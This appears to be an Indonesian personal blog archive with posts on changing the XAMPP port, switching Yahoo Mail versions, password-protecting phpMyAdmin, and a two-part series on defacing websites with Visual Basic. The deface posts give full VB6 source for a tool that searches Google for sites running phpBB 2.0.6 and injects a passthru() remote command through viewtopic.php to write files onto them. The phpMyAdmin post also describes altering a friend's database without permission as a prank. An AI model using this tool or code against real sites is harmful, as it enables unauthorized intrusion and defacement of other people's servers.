Mengubah Port Server XAMPP

19 11 2009

Biasanya orang yang menggunakan Server XAMPP tidak merubah setting di dalamnya. Hal ini perlu diwaspadai karena beberapa settiing tidak diberikan pengamanan yang cukup. Salah satunya adalah Port server. Secara default port yang digunakan adalah port 80. Alangkah baiknya apabila port server ini dirubah untuk mencegah hal-hal yang tidak diinginkan.
Langkah-langkahnya sebagai berikut :

  1. Pastikan Server XAMPP tidak dijalankan. Stop semua service.
  2. Buka file httpd.conf di [Folder instal XAMPP]/apache/conf/.
  3. Cari kalimat Listen 80.
  4. Ganti 80 dengan nomor port lain misalkan 8089. sehingga menjadi Listen 8089.
  5. Untuk mengakses localhost tambahkan angka 8089 menjadi localhost:8089 atau apabila ingin membuka phpmyadmin menjadi localhost:8089/phpmyadmin. Demikian juga dengan situs lain yang anda buat misalkan localhost:8089/situsku

Gampang kan ya.





Ganti Mail Yahoo Classic-Yahoo Beta atau Yahoo Beta-Yahoo Classic

24 06 2009

Perbedaan Yahoo! Mail Classic dan Yahoo! Mail Beta

Ada perbedaan antara Mail Yahoo Classic dan Mail Yahoo Beta. Masing-masing memiliki kelebihan dan kekurangan. Dilihat dari kelebihannya mail Yahoo Classic memiliki performa lebih cepat karena sedikit load resource. Namun kekurangan yang dirasakan ketika menggunakan Yahoo Classic adalah menampilkkan  halaman e-mail dalam satu halaman sehingga kita sedikit kesulitan untuk mengetahui asal e-mail selanjutnya  karena hanya disediakan tombol Next dan Previous.

Sedangkan Yahoo Beta memiliki kelebihan dalam hal penampilan yang OK. Untuk membuka e-mail cukup klik alamat e-mail dan otomatis isi email akan terlihat di bawahnya. Penampilan ini sama seperti Microsoft Outlook. Kekurangannya adalah membutuhkan resource lebih sehingga performa lebih lambat dibandingkan Yahoo Classic. Namun untuk saat ini masalah performa juga tergantung dari spesifikasi komputernya.

Baik Yahoo Classic maupun Yahoo Beta telah dilengkapi fasilitas chatting seperti Yahoo Messenger. Jadi kita tidak perlu membuka YM untuk melakukan chating dengan teman-teman. Cukup dengan log in pada bagian chating, otomatis kita memiliki status Online. Kita juga bisa menuliskan status sendiri. Sebelumnya Yahoo Classic tidak memiliki fitur chating sehingga banyak orang berlaih ke Yahoo Beta karena alasan fitur ini. Fitur Chating disediakan oleh Yahoo untuk menandingi Gmail yang juga menyediakan fitur chating. Namanya juga bisnis, harus bisa bersaing.

Sekarang kita bisa memilih apakah mau menggunakan Yahoo Classic atau Yahoo Beta. Sebelum itu harus kita ketahui bagaimana mengganti Yahoo Classic ke Yahoo Beta atau sebaliknya. Ini penting karena bisa membuat kita bingung sendiri dimana tempat untuk pergantian tersebut sehingga harus klik link-link yang ada dan ujung-ujung lihat tutorial/help lagi dan kalaupun gagal juga baru tanya mbah Google. Nah ini dia caranya.

Ganti Yahoo Classic ke Yahoo Beta

Option Yahoo Classic

Option Yahoo Classic

Pastikan Anda sudah login ke dalam Mail Yahoo Classic. Klik Options pada pojok kanan atas. Kemudian pilih Account information dari panel sebelah kiri. Ketika anda klik, muncuk windows baru untuk masuk ke bagian informasi akun. Anda diminta untuk memasukkan lagi password.

Coba Yahoo Beta, Try it

Coba Yahoo Beta, Try it

Setelah berhasil login tampak di pojok kanan atas link untuk mengganti ke Yahoo Beta. Klik link Try it now pada tulisan The New Yahoo Mail has arrived. Try it Now! Dan selamat Anda bisa menggunakan Yahoo Beta.

Ganti Yahoo Beta ke Yahoo Classic

Untuk mengganti dari Yahoo Beta ke Yahoo Classic tidak serumit dari Yahoo Classic ke Yahoo Beta. Klik saja link Mail Classic pada pojok kiri atas.

Mail Classic Switch

Mail Classic Switch

Muncul Message Box untuk memastikan apakah Anda yakin memilih Yahoo Classic atau tidak. Silakan pilih tombol Switch to Yahoo! Mail Classic. Mudah kan.

Selamat Mencoba.





Proteksi PHPMyadmin Dengan Password

2 03 2009

Dari sebuah keisengan untuk mengerjai teman yang membuat web dengan menggunakan server dari XAMPP dan dia lupa memproteksi phpMyAdmin, maka saya mencoba masuk ke phpMyAdmin. Dan benar saja, database bisa saya masuki dan mengubah sedikit datanya. Ketika dia melihat keanehan pada webnya maka saya katakan itu perbuatan saya. Jujur ya, hehe. Maka saya bilang, itu phpMyAdmin masih bisa diakses dari LAN cobalah diproteksi biar ga bisa diotak-atik ma orang. Oleh karena itulah, saya ingin mengingatkan diri sendiri dan berbagi pengetahuan untuk melakukan proteksi terhadap phpMyAdmin minimal diberi password.

Bagi pengguna Linux, ketika pertama kali menginstal MySQL akan diminta untuk membuat root super user password. Password itu otomatis dibutuhkan ketika membuka phpMyAdmin. Berbeda dengan Windows, ketika menginstal XAMPP secara default phpMyAdmin tidak memberikan password pada MySQL. Hal ini sering dilupakan oleh kebanyakan orang sehingga database masih bisa diakses melalui LAN. Bisa saja orang iseng merubah data tapi kalau sampai menghapus database, bisa berabe kan.

Untuk memberikan password pada phpMyAdmin ini ketikan pada browser http://localhost/security/xamppsecurity.php. Ditampilkan halaman web seperti gambar ini.

Gambar setting Password

Ketikkan saja password yang diinginkan di “New Password”. Pilih apakah phpMyadmin otentikasinya dengan “html” atau “cookies”. Saya sarankan dengan html saja untuk menjaga-jaga kita lupa menghapus cookies setelah selesai mengakses phpMyAdmin di komputer sendiri. Apabila kita pelupa atau mudah lupa, bisa men-cheklist “safe plain password in text file?”. Proses ini akan menyimpan password di file mysqlrootpasswd.txt. Sekali lagi saya sarankan jangan dipilih. Kalau sudah yakin klik tombol “Password changing”.

Satu lagi, apabila ingin memproteksi folder XAMPP tempat dimana kita instal XAMPP bisa juga disetting username dan password di bagian XAMPP DIRECTORY PROTECTION. Caranya sama dengan sebelumnya.

Nah, selanjutnya cek phpMyAdmin. Sebelum masuk ke halaman phpMyAdmin segera muncul pop up untuk memasukkan username dan password. Mudah kan. Segera amankan phpMyAdmin-nya ya….





Deface Web Dengan Visual Basic (2)

22 02 2008

Gomenasai….

Lama ga posting huh.Bagi yang udah nunggu maaf ya kelamaan. Dishare aja kodenya bareng-bareng ga lewat email. OK fren.Lanjut…

Desain software seperti ini :

desain
Free Image Hosting at www.ImageShack.us

Kodenya ini :
—————————————————————————————-
Option Explicit
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Dim bStop As Boolean

Private Sub cmdCari_Click()
Dim i As Integer, sSite As String
lstServer.Clear
Select Case cmdCari.Caption
Case "Cari Server"
bStop = False
cmdCari.Caption = "Batalkan Pencarian"
For i = 1 To Val(cboHal.Text)
If bStop Then Exit For
lblstatus.Caption = "Dalam Pencarian... Tunggu Bung.."
DoEvents
sSite = GetSiteContent("http://www.google.co.id/search?hl=id&q=intext:Powered+by+phpBB+2.0.6&num=" & cboLink.Text & "&start=" & ((i - 1) * Val(cboLink.Text)))
If Len(sSite) Then GetURLs sSite
Next
cmdCari.Caption = "Cari Server"
lblstatus.Caption = vbNullString
MsgBox "Pencarian Selesai", vbInformation
If lstServer.ListCount > 0 Then lblstatus.Caption = "Pilih Server dari Daftar"
Case "Batalkan Pencarian"
bStop = True
End Select
End Sub

Private Sub cmdDeface_Click()
Dim sSite As String
Dim nmfile As String
Dim isifile As String
Dim url As String
Dim urlInject As String
Dim x, y
Dim site1 As String
Dim site2 As String
Dim i As Integer
On Error GoTo cmdDeface_Click_Error
nmfile = txtnmfile.Text
isifile = "echo " & """" & txtisifile.Text & """" & "> " & isifile
url = ""
lblstatus.Caption = "Site sedang di DEFACE...."
If chk1.Value = True Then
If opt1.Value = True Then
url = "http://www.mohid.com/forum/" & nmfile
sSite = GetSiteContent("www.mohib.com/forum/viewtopic.php?t=41&highlight=%2527.passthru($HTTP_GET_VARS[a]).%2527&a=" & isifile)
End If
Else
x = Split(lstServer.List(lstServer.ListIndex), ".php?")
y = Split(x(0), "/")
For i = 2 To UBound(y) - 1
url = url & "/" & y(i)
Next
urlInject = "http:/" & url & "/viewtopic.php?t=4&highlight=%2527.passthru($HTTP_GET_VARS[a]).%2527&a=" & isifile
url = "http:/" & url & "/" & isifile
sSite = GetSiteContent(urlInject)
End If
lblstatus.Caption = "Cek hasilnya di " & url & ". Jika muncul seperti yang diketik, tandanya berhasil"
On Error GoTo 0
Exit Sub
cmdDeface_Click_Error:
MsgBox "Error " & Err.Number & " (" & Err.Description & ") in procedure cmdDeface_Click of Form Form1"
End Sub

Private Sub Form_Load()
cboHal.AddItem "1"
cboHal.AddItem "2"
cboHal.AddItem "3"
cboHal.AddItem "4"
cboHal.AddItem "5"
cboHal.AddItem "6"
cboHal.AddItem "7"
cboHal.AddItem "8"
cboHal.AddItem "9"
cboHal.AddItem "10"
cboLink.AddItem "1"
cboLink.AddItem "2"
cboLink.AddItem "3"
cboLink.AddItem "4"
cboLink.AddItem "5"
cboLink.AddItem "6"
cboLink.AddItem "7"
cboLink.AddItem "8"
cboLink.AddItem "9"
cboLink.AddItem "10"
End Sub

Private Function GetSiteContent(ByVal sURL As String)
On Error GoTo jut
Dim sBuffer As String, sResult As String
With Inet1
.Execute sURL, "GET", , "User-Agent:Neomedia/5.0 (Windows; U; Windows NT 5.1;de; rv:1.8.1.3) T-Rex/20070309 Firefly/2.0.0.3"
While .StillExecuting
DoEvents
Wend
Do
DoEvents
sBuffer = .GetChunk(1024, icString)
sResult = sResult & sBuffer
Loop While Len(sBuffer)
GetSiteContent = sResult
End With
Exit Function
jut:
GetSiteContent = vbNullString
End Function

Private Sub GetURLs(ByVal sText As String)
Dim lPos As Long, lStartPos As Long, lEndPos As Long, sFound As String
If Len(sText) Then
Do
lPos = InStr(lPos + 1, LCase$(sText), "href=" & Chr$(34))
If lPos Then
lStartPos = lPos + 6
lPos = InStr(lStartPos + 1, sText, Chr$(34))
If lPos Then
lEndPos = lPos
sFound = Mid$(sText, lStartPos, lEndPos - lStartPos)
If ResultLink(sFound) And Not InList(sFound) Then lstServer.AddItem sFound
End If
End If
Loop While lPos
End If
End Sub

Private Function ResultLink(ByVal sURL As String)
If InStr(1, Left$(sURL, 12), "://") And InStr(1, sURL, "accounts/Login?continue") = 0 And InStr(1, sURL, "news.google") = 0 And InStr(1, sURL, "froogle.google") = 0 And InStr(1, sURL, "translate.google") = 0 And InStr(1, sURL, "video.google") = 0 And InStr(1, sURL, "blogsearch.google") = 0 And InStr(1, sURL, "books.google") = 0 And InStr(1, sURL, "maps.google") = 0 And InStr(1, sURL, "search?q=cache") = 0 And InStr(1, sURL, "patents?q=") = 0 Then ResultLink = True
End Function

Private Function InList(sText As String) As Boolean
InList = IIf(SendMessage(lstServer.hwnd, &H1A2, -1, sText) = -1, False, True)
End Function

Selamat Mencoba…
Having Fun….





Deface Web Orang Pake VB (1)

5 02 2008

Akhirnya disela-sela kesibukan sehari-hari, saya bisa melanjutkan keinginan menulis blog tentang deface web pake VB. :)  

Learning by Doing, kalimat ini emang cocok buat semua orang yang ingin berkecimpung di dunia hacking. Saya tidak mengatakan hacker itu baik atau buruk, tergantung niat atau unjuk gigi doang (Pake odol apa emang mo unjuk gigi).

OK. Mari kita coba bikin program VB untuk deface web orang. Tujuannya hanya memberi tahu pada adminnya bahwa webnya bisa dimasuki oleh kita.Berdasarkan pengalaman, Pertama kali program yang saya buat dijalankan akan didapatkan beberapa web yang rentan buat dideface (10-20 buah). Tapi pada saat itu saya tidak melakukan deface hanya looking-looking aja. kemudian saya ulangi lagi, TERNYATA jumlah web sudah berkurang menjadi 2 buah saja. Dari situ, saya berpikir kalau hanya ingin memberi tahu ke admin ga perlu deface cukup kasih chalenge ke admin ga aman.

PRINSIP KERJA PROGRAM

Program  DEFACE dengan vb ini, menggunakan layanan google.com untuk mencari tahu web-web yang menggunakan komponen web yang rentan keamanannya, seperti phpBB 2.0.6. Nah saat ini sasaran deface adalah web dengan phpBB 2.0.6. 

DESAIN PROGRAM

(to be contnued)